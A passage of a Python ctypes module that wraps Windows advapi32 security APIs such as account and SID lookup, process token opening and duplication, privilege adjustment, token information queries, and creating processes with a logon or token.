1167 _GetUserNameA(None, byref(nSize))
1168 error = GetLastError()
1169 if error != ERROR_INSUFFICIENT_BUFFER:
1170 raise ctypes.WinError(error)
1171 lpBuffer = ctypes.create_string_buffer('', nSize.value + 1)
1172 success = _GetUserNameA(lpBuffer, byref(nSize))
1173 if not success:
1174 raise ctypes.WinError()
1175 return lpBuffer.value
1176
1177 def GetUserNameW():
1178 _GetUserNameW = windll.advapi32.GetUserNameW
1179 _GetUserNameW.argtypes = [LPWSTR, LPDWORD]
1180 _GetUserNameW.restype = bool
1181
1182 nSize = DWORD(0)
1183 _GetUserNameW(None, byref(nSize))
1184 error = GetLastError()
1185 if error != ERROR_INSUFFICIENT_BUFFER:
1186 raise ctypes.WinError(error)
1187 lpBuffer = ctypes.create_unicode_buffer(u'', nSize.value + 1)
1188 success = _GetUserNameW(lpBuffer, byref(nSize))
1189 if not success:
1190 raise ctypes.WinError()
1191 return lpBuffer.value
1192
1193 GetUserName = DefaultStringType(GetUserNameA, GetUserNameW)
1194
1195 # BOOL WINAPI LookupAccountName(
1196 # __in_opt LPCTSTR lpSystemName,
1197 # __in LPCTSTR lpAccountName,
1198 # __out_opt PSID Sid,
1199 # __inout LPDWORD cbSid,
1200 # __out_opt LPTSTR ReferencedDomainName,
1201 # __inout LPDWORD cchReferencedDomainName,
1202 # __out PSID_NAME_USE peUse
1203 # );
1204 def LookupAccountNameA(lpSystemName, lpAccountName):
1205 _LookupAccountNameA = windll.advapi32.LookupAccountNameA
1206 _LookupAccountNameA.argtypes = [LPSTR, LPSTR, PSID, LPDWORD, LPSTR, LPDWORD, LPDWORD]
1207 _LookupAccountNameA.restype = BOOL
1208
1209 cbSid = DWORD(0)
1210 cchReferencedDomainName = DWORD(0)
1211 peUse = DWORD(0)
1212 _LookupAccountNameA(lpSystemName, lpAccountName, None, byref(cbSid), None, byref(cchReferencedDomainName), byref(peUse))
1213 error = GetLastError()
1214 if error != ERROR_INSUFFICIENT_BUFFER:
1215 raise(ctypes.WinError(error))
1216 sid = ctypes.create_string_buffer('', cbSid.value)
1217 psid = ctypes.cast(ctypes.pointer(sid), PSID)
1218 lpReferencedDomainName = ctypes.create_string_buffer('', cchReferencedDomainName.value + 1)
1219 success = _LookupAccountNameA(lpSystemName, lpAccountName, psid, byref(cbSid), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse))
1220 if not success:
1221 raise ctypes.WinError()
1222 return psid, lpReferencedDomainName.value, peUse.value
1223
1224 def LookupAccountNameW(lpSystemName, lpAccountName):
1225 _LookupAccountNameW = windll.advapi32.LookupAccountNameW
1226 _LookupAccountNameW.argtypes = [LPWSTR, LPWSTR, PSID, LPDWORD, LPWSTR, LPDWORD, LPDWORD]
1227 _LookupAccountNameW.restype = BOOL
1228
1229 cbSid = DWORD(0)
1230 cchReferencedDomainName = DWORD(0)
1231 peUse = DWORD(0)
1232 _LookupAccountNameW(lpSystemName, lpAccountName, None, byref(cbSid), None, byref(cchReferencedDomainName), byref(peUse))
1233 error = GetLastError()
1234 if error != ERROR_INSUFFICIENT_BUFFER:
1235 raise(ctypes.WinError(error))
1236 sid = ctypes.create_string_buffer('', cbSid.value)
1237 psid = ctypes.cast(ctypes.pointer(sid), PSID)
1238 lpReferencedDomainName = ctypes.create_unicode_buffer(u'', cchReferencedDomainName.value + 1)
1239 success = _LookupAccountNameW(lpSystemName, lpAccountName, psid, byref(cbSid), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse))
1240 if not success:
1241 raise ctypes.WinError()
1242 return psid, lpReferencedDomainName.value, peUse.value
1243
1244 LookupAccountName = GuessStringType(LookupAccountNameA, LookupAccountNameW)
1245
1246 # BOOL WINAPI LookupAccountSid(
1247 # __in_opt LPCTSTR lpSystemName,
1248 # __in PSID lpSid,
1249 # __out_opt LPTSTR lpName,
1250 # __inout LPDWORD cchName,
1251 # __out_opt LPTSTR lpReferencedDomainName,
1252 # __inout LPDWORD cchReferencedDomainName,
1253 # __out PSID_NAME_USE peUse
1254 # );
1255 def LookupAccountSidA(lpSystemName, lpSid):
1256 _LookupAccountSidA = windll.advapi32.LookupAccountSidA
1257 _LookupAccountSidA.argtypes = [LPSTR, PSID, LPSTR, LPDWORD, LPSTR, LPDWORD, LPDWORD]
1258 _LookupAccountSidA.restype = bool
1259
1260 cchName = DWORD(0)
1261 cchReferencedDomainName = DWORD(0)
1262 peUse = DWORD(0)
1263 _LookupAccountSidA(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName), byref(peUse))
1264 error = GetLastError()
1265 if error != ERROR_INSUFFICIENT_BUFFER:
1266 raise ctypes.WinError(error)
1267 lpName = ctypes.create_string_buffer('', cchName + 1)
1268 lpReferencedDomainName = ctypes.create_string_buffer('', cchReferencedDomainName + 1)
1269 success = _LookupAccountSidA(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse))
1270 if not success:
1271 raise ctypes.WinError()
1272 return lpName.value, lpReferencedDomainName.value, peUse.value
1273
1274 def LookupAccountSidW(lpSystemName, lpSid):
1275 _LookupAccountSidW = windll.advapi32.LookupAccountSidW
1276 _LookupAccountSidW.argtypes = [LPSTR, PSID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD]
1277 _LookupAccountSidW.restype = bool
1278
1279 cchName = DWORD(0)
1280 cchReferencedDomainName = DWORD(0)
1281 peUse = DWORD(0)
1282 _LookupAccountSidW(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName), byref(peUse))
1283 error = GetLastError()
1284 if error != ERROR_INSUFFICIENT_BUFFER:
1285 raise ctypes.WinError(error)
1286 lpName = ctypes.create_unicode_buffer(u'', cchName.value + 1)
1287 lpReferencedDomainName = ctypes.create_unicode_buffer(u'', cchReferencedDomainName.value + 1)
1288 success = _LookupAccountSidW(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse))
1289 if not success:
1290 raise ctypes.WinError()
1291 return lpName.value, lpReferencedDomainName.value, peUse.value
1292
1293 LookupAccountSid = GuessStringType(LookupAccountSidA, LookupAccountSidW)
1294
1295 # BOOL ConvertSidToStringSid(
1296 # __in PSID Sid,
1297 # __out LPTSTR *StringSid
1298 # );
1299 def ConvertSidToStringSidA(Sid):
1300 _ConvertSidToStringSidA = windll.advapi32.ConvertSidToStringSidA
1301 _ConvertSidToStringSidA.argtypes = [PSID, POINTER(LPSTR)]
1302 _ConvertSidToStringSidA.restype = bool
1303 _ConvertSidToStringSidA.errcheck = RaiseIfZero
1304
1305 pStringSid = LPSTR()
1306 _ConvertSidToStringSidA(Sid, byref(pStringSid))
1307 try:
1308 StringSid = pStringSid.value
1309 finally:
1310 LocalFree(pStringSid)
1311 return StringSid.decode()
1312
1313 def ConvertSidToStringSidW(Sid):
1314 _ConvertSidToStringSidW = windll.advapi32.ConvertSidToStringSidW
1315 _ConvertSidToStringSidW.argtypes = [PSID, POINTER(LPWSTR)]
1316 _ConvertSidToStringSidW.restype = bool
1317 _ConvertSidToStringSidW.errcheck = RaiseIfZero
1318
1319 pStringSid = LPWSTR()
1320 _ConvertSidToStringSidW(Sid, byref(pStringSid))
1321 try:
1322 StringSid = pStringSid.value
1323 finally:
1324 LocalFree(pStringSid)
1325 return StringSid
1326
1327 ConvertSidToStringSid = DefaultStringType(ConvertSidToStringSidA, ConvertSidToStringSidW)
1328
1329 # BOOL WINAPI ConvertStringSidToSid(
1330 # __in LPCTSTR StringSid,
1331 # __out PSID *Sid
1332 # );
1333 def ConvertStringSidToSidA(StringSid):
1334 _ConvertStringSidToSidA = windll.advapi32.ConvertStringSidToSidA
1335 _ConvertStringSidToSidA.argtypes = [LPSTR, PVOID]
1336 _ConvertStringSidToSidA.restype = bool
1337 _ConvertStringSidToSidA.errcheck = RaiseIfZero
1338
1339 Sid = PVOID()
1340 _ConvertStringSidToSidA(StringSid, ctypes.pointer(Sid))
1341 return Sid.value
1342
1343 def ConvertStringSidToSidW(StringSid):
1344 _ConvertStringSidToSidW = windll.advapi32.ConvertStringSidToSidW
1345 _ConvertStringSidToSidW.argtypes = [LPWSTR, PVOID]
1346 _ConvertStringSidToSidW.restype = bool
1347 _ConvertStringSidToSidW.errcheck = RaiseIfZero
1348
1349 Sid = PVOID()
1350 _ConvertStringSidToSidW(StringSid, ctypes.pointer(Sid))
1351 return Sid.value
1352
1353 ConvertStringSidToSid = GuessStringType(ConvertStringSidToSidA, ConvertStringSidToSidW)
1354
1355 # BOOL WINAPI IsValidSid(
1356 # __in PSID pSid
1357 # );
1358 def IsValidSid(pSid):
1359 _IsValidSid = windll.advapi32.IsValidSid
1360 _IsValidSid.argtypes = [PSID]
1361 _IsValidSid.restype = bool
1362 return _IsValidSid(pSid)
1363
1364 # BOOL WINAPI EqualSid(
1365 # __in PSID pSid1,
1366 # __in PSID pSid2
1367 # );
1368 def EqualSid(pSid1, pSid2):
1369 _EqualSid = windll.advapi32.EqualSid
1370 _EqualSid.argtypes = [PSID, PSID]
1371 _EqualSid.restype = bool
1372 return _EqualSid(pSid1, pSid2)
1373
1374 # DWORD WINAPI GetLengthSid(
1375 # __in PSID pSid
1376 # );
1377 def GetLengthSid(pSid):
1378 _GetLengthSid = windll.advapi32.GetLengthSid
1379 _GetLengthSid.argtypes = [PSID]
1380 _GetLengthSid.restype = DWORD
1381 return _GetLengthSid(pSid)
1382
1383 # BOOL WINAPI CopySid(
1384 # __in DWORD nDestinationSidLength,
1385 # __out PSID pDestinationSid,
1386 # __in PSID pSourceSid
1387 # );
1388 def CopySid(pSourceSid):
1389 _CopySid = windll.advapi32.CopySid
1390 _CopySid.argtypes = [DWORD, PVOID, PSID]
1391 _CopySid.restype = bool
1392 _CopySid.errcheck = RaiseIfZero
1393
1394 nDestinationSidLength = GetLengthSid(pSourceSid)
1395 DestinationSid = ctypes.create_string_buffer('', nDestinationSidLength)
1396 pDestinationSid = ctypes.cast(ctypes.pointer(DestinationSid), PVOID)
1397 _CopySid(nDestinationSidLength, pDestinationSid, pSourceSid)
1398 return ctypes.cast(pDestinationSid, PSID)
1399
1400 # PVOID WINAPI FreeSid(
1401 # __in PSID pSid
1402 # );
1403 def FreeSid(pSid):
1404 _FreeSid = windll.advapi32.FreeSid
1405 _FreeSid.argtypes = [PSID]
1406 _FreeSid.restype = PSID
1407 _FreeSid.errcheck = RaiseIfNotZero
1408 _FreeSid(pSid)
1409
1410 # BOOL WINAPI OpenProcessToken(
1411 # __in HANDLE ProcessHANDLE,
1412 # __in DWORD DesiredAccess,
1413 # __out PHANDLE TokenHandle
1414 # );
1415 def OpenProcessToken(ProcessHANDLE, DesiredAccess = TOKEN_ALL_ACCESS):
1416 _OpenProcessToken = windll.advapi32.OpenProcessToken
1417 _OpenProcessToken.argtypes = [HANDLE, DWORD, PHANDLE]
1418 _OpenProcessToken.restype = bool
1419 _OpenProcessToken.errcheck = RaiseIfZero
1420
1421 NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE)
1422 _OpenProcessToken(ProcessHANDLE, DesiredAccess, byref(NewTokenHandle))
1423 return TokenHandle(NewTokenHandle.value)
1424
1425 # BOOL WINAPI OpenThreadToken(
1426 # __in HANDLE ThreadHANDLE,
1427 # __in DWORD DesiredAccess,
1428 # __in BOOL OpenAsSelf,
1429 # __out PHANDLE TokenHandle
1430 # );
1431 def OpenThreadToken(ThreadHANDLE, DesiredAccess, OpenAsSelf = True):
1432 _OpenThreadToken = windll.advapi32.OpenThreadToken
1433 _OpenThreadToken.argtypes = [HANDLE, DWORD, BOOL, PHANDLE]
1434 _OpenThreadToken.restype = bool
1435 _OpenThreadToken.errcheck = RaiseIfZero
1436
1437 NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE)
1438 _OpenThreadToken(ThreadHANDLE, DesiredAccess, OpenAsSelf, byref(NewTokenHandle))
1439 return TokenHandle(NewTokenHandle.value)
1440
1441 # BOOL WINAPI DuplicateToken(
1442 # _In_ HANDLE ExistingTokenHandle,
1443 # _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
1444 # _Out_ PHANDLE DuplicateTokenHandle
1445 # );
1446 def DuplicateToken(ExistingTokenHandle, ImpersonationLevel = SecurityImpersonation):
1447 _DuplicateToken = windll.advapi32.DuplicateToken
1448 _DuplicateToken.argtypes = [HANDLE, SECURITY_IMPERSONATION_LEVEL, PHANDLE]
1449 _DuplicateToken.restype = bool
1450 _DuplicateToken.errcheck = RaiseIfZero
1451
1452 DuplicateTokenHandle = HANDLE(INVALID_HANDLE_VALUE)
1453 _DuplicateToken(ExistingTokenHandle, ImpersonationLevel, byref(DuplicateTokenHandle))
1454 return TokenHandle(DuplicateTokenHandle.value)
1455
1456 # BOOL WINAPI DuplicateTokenEx(
1457 # _In_ HANDLE hExistingToken,
1458 # _In_ DWORD dwDesiredAccess,
1459 # _In_opt_ LPSECURITY_ATTRIBUTES lpTokenAttributes,
1460 # _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
1461 # _In_ TOKEN_TYPE TokenType,
1462 # _Out_ PHANDLE phNewToken
1463 # );
1464 def DuplicateTokenEx(hExistingToken, dwDesiredAccess = TOKEN_ALL_ACCESS, lpTokenAttributes = None, ImpersonationLevel = SecurityImpersonation, TokenType = TokenPrimary):
1465 _DuplicateTokenEx = windll.advapi32.DuplicateTokenEx
1466 _DuplicateTokenEx.argtypes = [HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE]
1467 _DuplicateTokenEx.restype = bool
1468 _DuplicateTokenEx.errcheck = RaiseIfZero
1469
1470 DuplicateTokenHandle = HANDLE(INVALID_HANDLE_VALUE)
1471 _DuplicateTokenEx(hExistingToken, dwDesiredAccess, lpTokenAttributes, ImpersonationLevel, TokenType, byref(DuplicateTokenHandle))
1472 return TokenHandle(DuplicateTokenHandle.value)
1473
1474 # BOOL WINAPI IsTokenRestricted(
1475 # __in HANDLE TokenHandle
1476 # );
1477 def IsTokenRestricted(hTokenHandle):
1478 _IsTokenRestricted = windll.advapi32.IsTokenRestricted
1479 _IsTokenRestricted.argtypes = [HANDLE]
1480 _IsTokenRestricted.restype = bool
1481 _IsTokenRestricted.errcheck = RaiseIfNotErrorSuccess
1482
1483 SetLastError(ERROR_SUCCESS)
1484 return _IsTokenRestricted(hTokenHandle)
1485
1486 # BOOL WINAPI LookupPrivilegeValue(
1487 # __in_opt LPCTSTR lpSystemName,
1488 # __in LPCTSTR lpName,
1489 # __out PLUID lpLuid
1490 # );
1491 def LookupPrivilegeValueA(lpSystemName, lpName):
1492 _LookupPrivilegeValueA = windll.advapi32.LookupPrivilegeValueA
1493 _LookupPrivilegeValueA.argtypes = [LPSTR, LPSTR, PLUID]
1494 _LookupPrivilegeValueA.restype = bool
1495 _LookupPrivilegeValueA.errcheck = RaiseIfZero
1496
1497 lpLuid = LUID()
1498 if not lpSystemName:
1499 lpSystemName = None
1500 _LookupPrivilegeValueA(lpSystemName, lpName, byref(lpLuid))
1501 return lpLuid
1502
1503 def LookupPrivilegeValueW(lpSystemName, lpName):
1504 _LookupPrivilegeValueW = windll.advapi32.LookupPrivilegeValueW
1505 _LookupPrivilegeValueW.argtypes = [LPWSTR, LPWSTR, PLUID]
1506 _LookupPrivilegeValueW.restype = bool
1507 _LookupPrivilegeValueW.errcheck = RaiseIfZero
1508
1509 lpLuid = LUID()
1510 if not lpSystemName:
1511 lpSystemName = None
1512 _LookupPrivilegeValueW(lpSystemName, lpName, byref(lpLuid))
1513 return lpLuid
1514
1515 LookupPrivilegeValue = GuessStringType(LookupPrivilegeValueA, LookupPrivilegeValueW)
1516
1517 # BOOL WINAPI LookupPrivilegeName(
1518 # __in_opt LPCTSTR lpSystemName,
1519 # __in PLUID lpLuid,
1520 # __out_opt LPTSTR lpName,
1521 # __inout LPDWORD cchName
1522 # );
1523
1524 def LookupPrivilegeNameA(lpSystemName, lpLuid):
1525 _LookupPrivilegeNameA = windll.advapi32.LookupPrivilegeNameA
1526 _LookupPrivilegeNameA.argtypes = [LPSTR, PLUID, LPSTR, LPDWORD]
1527 _LookupPrivilegeNameA.restype = bool
1528 _LookupPrivilegeNameA.errcheck = RaiseIfZero
1529
1530 cchName = DWORD(0)
1531 _LookupPrivilegeNameA(lpSystemName, byref(lpLuid), NULL, byref(cchName))
1532 lpName = ctypes.create_string_buffer("", cchName.value)
1533 _LookupPrivilegeNameA(lpSystemName, byref(lpLuid), byref(lpName), byref(cchName))
1534 return lpName.value
1535
1536 def LookupPrivilegeNameW(lpSystemName, lpLuid):
1537 _LookupPrivilegeNameW = windll.advapi32.LookupPrivilegeNameW
1538 _LookupPrivilegeNameW.argtypes = [LPWSTR, PLUID, LPWSTR, LPDWORD]
1539 _LookupPrivilegeNameW.restype = bool
1540 _LookupPrivilegeNameW.errcheck = RaiseIfZero
1541
1542 cchName = DWORD(0)
1543 _LookupPrivilegeNameW(lpSystemName, byref(lpLuid), NULL, byref(cchName))
1544 lpName = ctypes.create_unicode_buffer(u"", cchName.value)
1545 _LookupPrivilegeNameW(lpSystemName, byref(lpLuid), byref(lpName), byref(cchName))
1546 return lpName.value
1547
1548 LookupPrivilegeName = GuessStringType(LookupPrivilegeNameA, LookupPrivilegeNameW)
1549
1550 # BOOL WINAPI AdjustTokenPrivileges(
1551 # __in HANDLE TokenHandle,
1552 # __in BOOL DisableAllPrivileges,
1553 # __in_opt PTOKEN_PRIVILEGES NewState,
1554 # __in DWORD BufferLength,
1555 # __out_opt PTOKEN_PRIVILEGES PreviousState,
1556 # __out_opt PDWORD ReturnLength
1557 # );
1558 def AdjustTokenPrivileges(TokenHandle, NewState = ()):
1559 _AdjustTokenPrivileges = windll.advapi32.AdjustTokenPrivileges
1560 _AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, LPVOID, DWORD, LPVOID, LPVOID]
1561 _AdjustTokenPrivileges.restype = bool
1562 #
1563 # I don't know how to allocate variable sized structures in ctypes :(
1564 # so this hack will work by using always TOKEN_PRIVILEGES of one element
1565 # and calling the API many times. This also means the PreviousState
1566 # parameter won't be supported yet as it's too much hassle. In a future
1567 # version I look forward to implementing this function correctly.
1568 #
1569 if not NewState:
1570 _AdjustTokenPrivileges.errcheck = RaiseIfZero
1571 _AdjustTokenPrivileges(TokenHandle, TRUE, NULL, 0, NULL, NULL)
1572 else:
1573 success = True
1574 errcode = 0
1575 for (privilege, enabled) in NewState:
1576 if not isinstance(privilege, LUID):
1577 privilege = LookupPrivilegeValue(NULL, privilege)
1578 if enabled == True:
1579 flags = SE_PRIVILEGE_ENABLED
1580 elif enabled == False:
1581 flags = SE_PRIVILEGE_REMOVED
1582 elif enabled == None:
1583 flags = 0
1584 else:
1585 flags = enabled
1586 laa = LUID_AND_ATTRIBUTES(privilege, flags)
1587 tp = TOKEN_PRIVILEGES(1, laa)
1588 if _AdjustTokenPrivileges(TokenHandle, FALSE, byref(tp), sizeof(tp), NULL, NULL) == 0:
1589 success = False
1590 errcode = GetLastError()
1591 if not success:
1592 raise ctypes.WinError(errcode)
1593
1594 # BOOL WINAPI GetTokenInformation(
1595 # __in HANDLE TokenHandle,
1596 # __in TOKEN_INFORMATION_CLASS TokenInformationClass,
1597 # __out_opt LPVOID TokenInformation,
1598 # __in DWORD TokenInformationLength,
1599 # __out PDWORD ReturnLength
1600 # );
1601 def GetTokenInformation(hTokenHandle, TokenInformationClass):
1602 if TokenInformationClass <= 0 or TokenInformationClass > MaxTokenInfoClass:
1603 raise ValueError("Invalid value for TokenInformationClass (%i)" % TokenInformationClass)
1604
1605 # User SID.
1606 if TokenInformationClass == TokenUser:
1607 TokenInformation = TOKEN_USER()
1608 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1609 return TokenInformation.User.Sid.value
1610
1611 # Owner SID.
1612 if TokenInformationClass == TokenOwner:
1613 TokenInformation = TOKEN_OWNER()
1614 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1615 return TokenInformation.Owner.value
1616
1617 # Primary group SID.
1618 if TokenInformationClass == TokenOwner:
1619 TokenInformation = TOKEN_PRIMARY_GROUP()
1620 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1621 return TokenInformation.PrimaryGroup.value
1622
1623 # App container SID.
1624 if TokenInformationClass == TokenAppContainerSid:
1625 TokenInformation = TOKEN_APPCONTAINER_INFORMATION()
1626 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1627 return TokenInformation.TokenAppContainer.value
1628
1629 # Integrity level SID.
1630 if TokenInformationClass == TokenIntegrityLevel:
1631 TokenInformation = TOKEN_MANDATORY_LABEL()
1632 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1633 return TokenInformation.Label.Sid.value, TokenInformation.Label.Attributes
1634
1635 # Logon session LUID.
1636 if TokenInformationClass == TokenOrigin:
1637 TokenInformation = TOKEN_ORIGIN()
1638 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1639 return TokenInformation.OriginatingLogonSession
1640
1641 # Primary or impersonation token.
1642 if TokenInformationClass == TokenType:
1643 TokenInformation = TOKEN_TYPE(0)
1644 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1645 return TokenInformation.value
1646
1647 # Elevated token.
1648 if TokenInformationClass == TokenElevation:
1649 TokenInformation = TOKEN_ELEVATION(0)
1650 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1651 return TokenInformation.value
1652
1653 # Security impersonation level.
1654 if TokenInformationClass == TokenElevation:
1655 TokenInformation = SECURITY_IMPERSONATION_LEVEL(0)
1656 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1657 return TokenInformation.value
1658
1659 # Session ID and other DWORD values.
1660 if TokenInformationClass in (TokenSessionId, TokenAppContainerNumber):
1661 TokenInformation = DWORD(0)
1662 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1663 return TokenInformation.value
1664
1665 # Various boolean flags.
1666 if TokenInformationClass in (TokenSandBoxInert, TokenHasRestrictions, TokenUIAccess,
1667 TokenVirtualizationAllowed, TokenVirtualizationEnabled):
1668 TokenInformation = DWORD(0)
1669 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1670 return bool(TokenInformation.value)
1671
1672 # Linked token.
1673 if TokenInformationClass == TokenLinkedToken:
1674 TokenInformation = TOKEN_LINKED_TOKEN(0)
1675 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1676 return TokenHandle(TokenInformation.LinkedToken.value, bOwnership = True)
1677
1678 # Token statistics.
1679 if TokenInformationClass == TokenStatistics:
1680 TokenInformation = TOKEN_STATISTICS()
1681 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1682 return TokenInformation # TODO add a class wrapper?
1683
1684 # Currently unsupported flags.
1685 raise NotImplementedError("TokenInformationClass(%i) not yet supported!" % TokenInformationClass)
1686
1687 def _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation):
1688 _GetTokenInformation = windll.advapi32.GetTokenInformation
1689 _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD]
1690 _GetTokenInformation.restype = bool
1691 _GetTokenInformation.errcheck = RaiseIfZero
1692
1693 ReturnLength = DWORD(0)
1694 TokenInformationLength = sizeof(TokenInformation)
1695 _GetTokenInformation(hTokenHandle, TokenInformationClass, byref(TokenInformation), TokenInformationLength, byref(ReturnLength))
1696 if ReturnLength.value != TokenInformationLength:
1697 raise ctypes.WinError(ERROR_INSUFFICIENT_BUFFER)
1698
1699 return TokenInformation
1700
1701 def GetTokenInformation_sid(hTokenHandle):
1702 """
1703 The original function wasn't working. this one returns the SID for the token
1704 """
1705 _GetTokenInformation = windll.advapi32.GetTokenInformation
1706 _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD]
1707 _GetTokenInformation.restype = bool
1708 _GetTokenInformation.errcheck = RaiseIfZero
1709
1710 ReturnLength = DWORD(0)
1711 try:
1712 #getting the correct memory size
1713 _GetTokenInformation(hTokenHandle, 1, None, ReturnLength, byref(ReturnLength))
1714 except Exception as e:
1715 pass
1716
1717 TokenInformationLength = ReturnLength.value
1718 ReturnLength = DWORD(0)
1719 ti = (BYTE * TokenInformationLength)()
1720 _GetTokenInformation(hTokenHandle, 1, byref(ti), TokenInformationLength, byref(ReturnLength))
1721 if ReturnLength.value != TokenInformationLength:
1722 raise ctypes.WinError(ERROR_INSUFFICIENT_BUFFER)
1723
1724 t = ctypes.cast(ti, POINTER(TOKEN_USER)).contents
1725 return t.User.Sid
1726
1727 # BOOL WINAPI SetTokenInformation(
1728 # __in HANDLE TokenHandle,
1729 # __in TOKEN_INFORMATION_CLASS TokenInformationClass,
1730 # __in LPVOID TokenInformation,
1731 # __in DWORD TokenInformationLength
1732 # );
1733
1734 # XXX TODO
1735
1736 # BOOL WINAPI CreateProcessWithLogonW(
1737 # __in LPCWSTR lpUsername,
1738 # __in_opt LPCWSTR lpDomain,
1739 # __in LPCWSTR lpPassword,
1740 # __in DWORD dwLogonFlags,
1741 # __in_opt LPCWSTR lpApplicationName,
1742 # __inout_opt LPWSTR lpCommandLine,
1743 # __in DWORD dwCreationFlags,
1744 # __in_opt LPVOID lpEnvironment,
1745 # __in_opt LPCWSTR lpCurrentDirectory,
1746 # __in LPSTARTUPINFOW lpStartupInfo,
1747 # __out LPPROCESS_INFORMATION lpProcessInfo
1748 # );
1749 def CreateProcessWithLogonW(lpUsername = None, lpDomain = None, lpPassword = None, dwLogonFlags = 0, lpApplicationName = None, lpCommandLine = None, dwCreationFlags = 0, lpEnvironment = None, lpCurrentDirectory = None, lpStartupInfo = None):
1750 _CreateProcessWithLogonW = windll.advapi32.CreateProcessWithLogonW
1751 _CreateProcessWithLogonW.argtypes = [LPWSTR, LPWSTR, LPWSTR, DWORD, LPWSTR, LPWSTR, DWORD, LPVOID, LPWSTR, LPVOID, LPPROCESS_INFORMATION]
1752 _CreateProcessWithLogonW.restype = bool
1753 _CreateProcessWithLogonW.errcheck = RaiseIfZero
1754
1755 if not lpUsername:
1756 lpUsername = None
1757 if not lpDomain:
1758 lpDomain = None
1759 if not lpPassword:
1760 lpPassword = None
1761 if not lpApplicationName:
1762 lpApplicationName = None
1763 if not lpCommandLine:
1764 lpCommandLine = None
1765 else:
1766 lpCommandLine = ctypes.create_unicode_buffer(lpCommandLine, max(MAX_PATH, len(lpCommandLine) + 1))
1767 if not lpEnvironment:
1768 lpEnvironment = None
1769 else:
1770 lpEnvironment = ctypes.create_unicode_buffer(lpEnvironment)
1771 if not lpCurrentDirectory:
1772 lpCurrentDirectory = None
1773 if not lpStartupInfo:
1774 lpStartupInfo = STARTUPINFOW()
1775 lpStartupInfo.cb = sizeof(STARTUPINFOW)
1776 lpStartupInfo.lpReserved = 0
1777 lpStartupInfo.lpDesktop = 0
1778 lpStartupInfo.lpTitle = 0
1779 lpStartupInfo.dwFlags = 0
1780 lpStartupInfo.cbReserved2 = 0
1781 lpStartupInfo.lpReserved2 = 0
1782 lpProcessInformation = PROCESS_INFORMATION()
1783 lpProcessInformation.hProcess = INVALID_HANDLE_VALUE
1784 lpProcessInformation.hThread = INVALID_HANDLE_VALUE
1785 lpProcessInformation.dwProcessId = 0
1786 lpProcessInformation.dwThreadId = 0
1787 _CreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation))
1788 return lpProcessInformation
1789
1790 CreateProcessWithLogonA = MakeANSIVersion(CreateProcessWithLogonW)
1791 CreateProcessWithLogon = DefaultStringType(CreateProcessWithLogonA, CreateProcessWithLogonW)
1792
1793 # BOOL WINAPI CreateProcessWithTokenW(
1794 # __in HANDLE hToken,
1795 # __in DWORD dwLogonFlags,
1796 # __in_opt LPCWSTR lpApplicationName,
1797 # __inout_opt LPWSTR lpCommandLine,
1798 # __in DWORD dwCreationFlags,
1799 # __in_opt LPVOID lpEnvironment,
1800 # __in_opt LPCWSTR lpCurrentDirectory,
1801 # __in LPSTARTUPINFOW lpStartupInfo,
1802 # __out LPPROCESS_INFORMATION lpProcessInfo
1803 # );
1804 def CreateProcessWithTokenW(hToken = None, dwLogonFlags = 0, lpApplicationName = None, lpCommandLine = None, dwCreationFlags = 0, lpEnvironment = None, lpCurrentDirectory = None, lpStartupInfo = None):
1805 _CreateProcessWithTokenW = windll.advapi32.CreateProcessWithTokenW
1806 _CreateProcessWithTokenW.argtypes = [HANDLE, DWORD, LPWSTR, LPWSTR, DWORD, LPVOID, LPWSTR, LPVOID, LPPROCESS_INFORMATION]
1807 _CreateProcessWithTokenW.restype = bool
1808 _CreateProcessWithTokenW.errcheck = RaiseIfZero
1809
1810 if not hToken:
1811 hToken = None
1812 if not lpApplicationName:
1813 lpApplicationName = None
1814 if not lpCommandLine:
1815 lpCommandLine = None
1816 else:
1817 lpCommandLine = ctypes.create_unicode_buffer(lpCommandLine, max(MAX_PATH, len(lpCommandLine) + 1))
1818 if not lpEnvironment:
1819 lpEnvironment = None
1820 else:
1821 lpEnvironment = ctypes.create_unicode_buffer(lpEnvironment)
1822 if not lpCurrentDirectory:
1823 lpCurrentDirectory = None
1824 if not lpStartupInfo:
1825 lpStartupInfo = STARTUPINFOW()
1826 lpStartupInfo.cb = sizeof(STARTUPINFOW)
1827 lpStartupInfo.lpReserved = 0
